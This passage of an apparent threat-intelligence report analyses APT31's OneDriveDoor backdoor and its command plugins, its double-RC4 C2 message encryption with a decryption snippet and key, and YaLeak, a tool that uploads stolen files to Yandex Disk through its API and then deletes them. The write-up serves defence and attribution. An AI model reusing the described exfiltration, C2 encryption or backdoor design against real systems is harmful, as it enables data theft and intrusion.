CRITICAL_SECTION crit_section;
};cmd structure
The cmd: DownloadThreadProc function retrieves the contents of the 8114 file, which contains the command to be executed together with all its parameters. Next, two ways of processing the command are possible: it is first passed to the cmd::main function for processing; if this fails, it is then sent to the running cmd process.

In cmd::main, the command is processed using plugins: they implement analogs of Windows cmd commands via the WinAPI or COM objects, without executing the command directly through the interpreter. Most likely, this functionality was implemented to leave fewer traces of OneDriveDoor on the system.
The code searches the command string for a keyword — an analog of a Windows cmd command. It then adds the corresponding plugin to the execution queue, first initializing the data structure for that plugin.

All commands are then executed according to the same scheme: for each plugin, an argument list is created, and with these parameters (similar to command-line parameters) the plugin's method is run to process the command. After that, the command's output is collected.

All plugins inherit the base-class methods and override them with their own implementations.
struct CmdPluginVtbl // sizeof=0x20
{
__int64 (__fastcall *init)(plugin *this); // инициализация структуры
std::str *(__fastcall *whoami)(plugin *this, std::str *outname); // возвращает строку с именем плагина
__int64 (__fastcall *action)(plugin *this, unsigned int argnum, LPWSTR *argline); // обрабатывает команды и выполняет необходимые действия
__int64 (__fastcall *finish)(plugin *this, , std::wstring *out); // сбор результатов работы плагина
};
In the current sample, 11 additional plugins were identified:
| # | Command | Functions |
|---|---|---|
| 1 | dir | Searches all files in the specified directory and collects information about them |
| 2 | net | Analog of the net command |
| 3 | copy | Copies a file to the specified path using SHFileOperationW |
| 4 | del | Deletes a file using SHFileOperationW |
| 5 | query | Analog of the query command: enumerates information about current sessions |
| 6 | reg | Analog of the reg command, supports only the add and query options |
| 7 | tasklist | Executes the WQL SELECT Name, ProcessId FROM Win32_Process command using the IWbemLocator COM object |
| 8 | schtasks | Creation, management and deletion of scheduled tasks — a a full-featured equivalent to the identically‑named Windows system command. |
| 9 | type | Sends the file contents, taking the local character encoding into account |
| 10 | whoami | Sends the username using the GetUserNameW API |
| 11 | wmic | Uses a WMIC implementation based on IWbemLocator to work with processes |
Below we describe some of them in more detail.
DIR: analog of the command of the same name, but collects only specific information.

For all files in the specified directory, the plugin collects the last modification time and file size. At the end, it also adds the total number of folder and files, as well as the total size of the folder.
NET: analog of the net command with additional parameters:
WMIC: a reduced implementation of WMIC based on the IWbemLocator COM object. It is used to obtain information about processes. For this, it runs an analog of the command
wmic process call create
It can additionally specify the parameters PASSWORD, USER, and NODE.
C2 messages are encrypted using RC4 twice. For each message, its own key is generated and used to encrypt that message. This key is then added to the message, and the message is encrypted again with RC4 using the key specified in the malware configuration. Below is the scheme of the message decryption algorithm used in one of the samples:
def decryt_msg(msg, size_msg)
if size_msg <= 86:
return None
rc4_key = "1xPHxdt49B9e5mBCw"
msg_stage = rc4_algo(rc4_key, msg)
# real_msg_size = sie_msg - 86
output = rc4_algo(msg_stage[:4], msg[86:])
return output
When messages are encrypted, 172 random ASCII characters are generated (in some cases, 86). The first four characters contain the RC4 key for that particular message, and the remaining characters are just junk, which is also attached to the message.
For data exfiltration, the attackers used a small utility written in .NET. The tool uploaded information to Yandex Disk cloud storage, and was therefore named YaLeak.
YaLeak is launched with command-line arguments that specify:

The malware then recursively bypasses the contents of the exfiltrated directory and sends each file using the Yandex API. Before the file is sent, the following request is executed:
https://cloud-api.yandex.net/v1/disk/resources/upload?path=<YaDir>/<relative_path>&overwrite=true
The JSON response contains the href parameter — a unique URL to which the file from the victim's system will be uploaded. After the upload completes successfully, the file is deleted from the victim's system.
APT31 remains active to this day. Over the past year, several attacks targeting the Russian IT sector were identified. Their attacks are still carefully planned — from the timing of campaigns to the command logic. In addition, APT31 continues to expand its toolkit: while they still rely on some of their older tools, this year their arsenal has included new malware, primarily backdoors.
As C2 channels, the attackers use cloud services, in particular Yandex and Microsoft OneDrive. Many of their tools are also configured to operate in server mode, waiting for the attackers to connect to the compromised host. The group also exfiltrates data via Yandex Disk cloud storage.
These tools and techniques have allowed APT31 to remain undetected in victim infrastructures for years. The attackers have exfiltrated files and collected sensitive information from devices, including passwords to email accounts and internal services of their victims.
The authors would like to thank the incident response and threat intelligence teams of PT ESC (PT Expert Security Center) for their help in preparing this article.